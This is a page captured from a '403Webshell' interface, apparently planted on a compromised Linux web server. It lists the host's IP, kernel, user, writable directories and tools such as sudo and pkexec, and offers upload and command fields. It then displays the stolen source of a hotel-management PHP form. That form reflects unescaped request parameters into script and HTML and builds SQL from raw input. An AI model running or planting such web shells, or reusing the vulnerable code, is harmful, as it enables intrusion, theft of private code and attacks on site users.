403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.143
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/mod/product_form.php
<?php include('_mod_security.php'); ?>
<?php
	form_prep('hotels', 'basic_info');
	if ($_POST['ajax_event_submitted'] == '1') :
		form_reload_check();
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'basic_info';
		endif;
		$ar_err = array();
		if (empty($_POST['product_id'])) :
			$ar_err['product_id'] = 'Product is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['drop_location'])) :
			$ar_err['drop_location'] = 'Drop Location is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		$_POST['dist_qty'] = nz($_POST['dist_qty'], '0');
		if ($_POST['dist_qty'] <= ' ') :
			$ar_err['dist_qty'] = 'Distribution Qty is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (!$err_flag) :
			$set = "hotel_id = ".nz($_POST['hotel_id'],'0').", ".
					"product_id = ".nz($_POST['product_id'],'0').", ".
					"drop_location = ".$db->quote(trim($_POST['drop_location'])).", ".
					"dist_qty = ".nz($_POST['dist_qty'],'0').", ".
					"active = ".nz($_POST['active'],'0').", ".
					"instructions = ".$db->quote(trim($_POST['instructions'])).", ".
					"in_room = ".nz($_POST['in_room'],'0').", ".
					"signature_required = ".nz($_POST['signature_required'],'0').", ".
					"comments = ".$db->quote($_POST['comments']).", ".
					"update_source = ".$db->quote(trim($_GET['IX'])).", ".
					sql_set_update();
			if ($action == 'Edit') :
				$sql = "UPDATE hotels_products set ".$set.
					"WHERE hp_id = ".nz(trim($_REQUEST['id']), '0')." ";
				$db->query($sql) or die('Database Error!');
				//echo '==='.$sql.'===';
				post_set_update();
			else :
				if ($action == 'Add New') :
					$sql = "INSERT INTO hotels_products SET ".
						sql_set_create().
						$set;
					//echo '==='.$sql.'===';
					$db->query($sql) or die('Database Error!');
					$_REQUEST['id'] = last_id();
					$_POST['hp_id'] = $_REQUEST['id'];
					post_set_create_update();
				endif;
			endif;
			$form_message = "Saved sucessfully!";
			form_uid_reset();
			if ($_POST['xsubmit'] == 'Save & Close') :
				echo "<SCRIPT>";
				//echo "window.location.href = 'index.php?IX=".$_REQUEST['ref']."'";
				echo "appstack_pop()";
				echo "</SCRIPT>";
			endif;
			if ($_POST['xsubmit'] == 'Save & New') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=product_form&ref=".urlencode($_REQUEST['ref'])."&hotel_id=".$_GET['hotel_id']."'";
				echo "</SCRIPT>";
			endif;
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM hotels_products WHERE hp_id = ".nz($_REQUEST['id'], '0')." ";
			$result = $db->query($sql) or die('Database Error!');
			if ($result->rowCount() > 0) :
				$row = $result->fetch(PDO::FETCH_OBJ);
				$_POST['hp_id'] = $row->hp_id;
				$_POST['product_id'] = $row->product_id;
				$_POST['hotel_id'] = $row->hotel_id;
				$_POST['drop_location'] = $row->drop_location;
				$_POST['dist_qty'] = $row->dist_qty;
				$_POST['instructions'] = $row->instructions;
				$_POST['active'] = $row->active;
				$_POST['in_room'] = $row->in_room;
				$_POST['signature_required'] = $row->promenade_signature_required;
				$_POST['comments'] = $row->comments;
				post_set_load_create_update();
			else :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
			if (!empty($_REQUEST['hotel_id'])) :
				$_POST['hotel_id'] = $_GET['hotel_id'];
				$_POST['drop_location'] = APP_DEFAULT_DROP_LOCATION;
				$_POST['active'] = 1;
			endif;
		endif;
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	update_header = function()
	{
	}
	
	$(document).ready(function()	
		{
			switch_tab('<?php echo $active_tab; ?>');
			update_header();
			$(':input:not(.search)').change(function() {sheet_dirty = true; } );
		}
	)
</script>

<h1>Product - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form style="" name="frm_product" id="frm_product" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php form_button_strip('top'); ?>
	<div class="tab_strip">
		<?php
			form_tab_header('basic_info', 'Basic Info', 'admin,distributor,gte');
			if (!empty($_REQUEST['id'])) :
				form_tab_header('history', 'History', 'admin,distributor');
			endif;
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_basic_info">
		<div class="form_header">
			Basic Info
		</div>
		<div class="input_column">
			<?php
				form_field('hp_id', 'text', 10, 0, false, false, true, '', '', 'hp_id', 'Hotel/Product ID');
				$sql = "SELECT hotel_id, hotel_name FROM hotels ORDER BY hotel_name ";
				$result = $db->query($sql) or die('Database Error!');
				$ar_hotels = $result->fetchAll(PDO::FETCH_KEY_PAIR);
				form_field('hotel_id', 'select', 50, 0, false, false, true, '', '', 'hotel_id', 'Hotel', $ar_hotels);
				$sql = "SELECT product_id, description FROM products WHERE active = 1 ORDER BY product_id ";
				$result = $db->query($sql) or die('Database Error!');
				$ar_products = $result->fetchAll(PDO::FETCH_KEY_PAIR);
				form_field('product_id', 'select', 50, 0, true, false, false, '', '', 'product_id', 'Product', $ar_products);
				form_field('drop_location', 'text', 50, 0, true, false, false, '', '', 'drop_location', 'Drop Location');
				form_field('dist_qty', 'text', 10, 0, true, false, false, '', '', 'dist_qty', 'Distribution Qty');
				form_field('active', 'checkbox', 50, 0, false, false, false, '', '', 'active', 'Active');
				form_field('in_room', 'checkbox', 50, 0, false, false, false, '', '', 'in_room', 'In Room');
				form_field('signature_required', 'checkbox', 50, 0, false, false, false, '', '', 'signature_required', 'Signature Required');
			?>
		</div>
		<div class="input_column">
			<?php
				form_field('instructions', 'textarea', 70, 6, false, false, false, '', '', 'instructions', 'Instructions');
				form_field('comments', 'textarea', 70, 6, false, false, false, '', '', 'comments', 'Comments');
			?>
		</div>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="tab_content" id="tab_content_history">
		<div class="form_header">
			History
		</div>
		<?php
			$ix_form = '';
			db_navigator_bar(array('table_id'=>'db_grid_history', 'form'=>$ix_form, 'print_section'=>'db_grid_history', 'call'=>'product_history_ajax', 'sort_col'=>'1', 'sort_order'=>'1', 'subtab'=>'true', 'parm1'=>" AND hpa.hp_id = ".nz($_REQUEST['id'], '0')." ", 'func'=>'grid' ));
		?>
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_button_strip('bottom'); ?>
</form>



Youez - 2016 - github.com/yon3zu
LinuXploit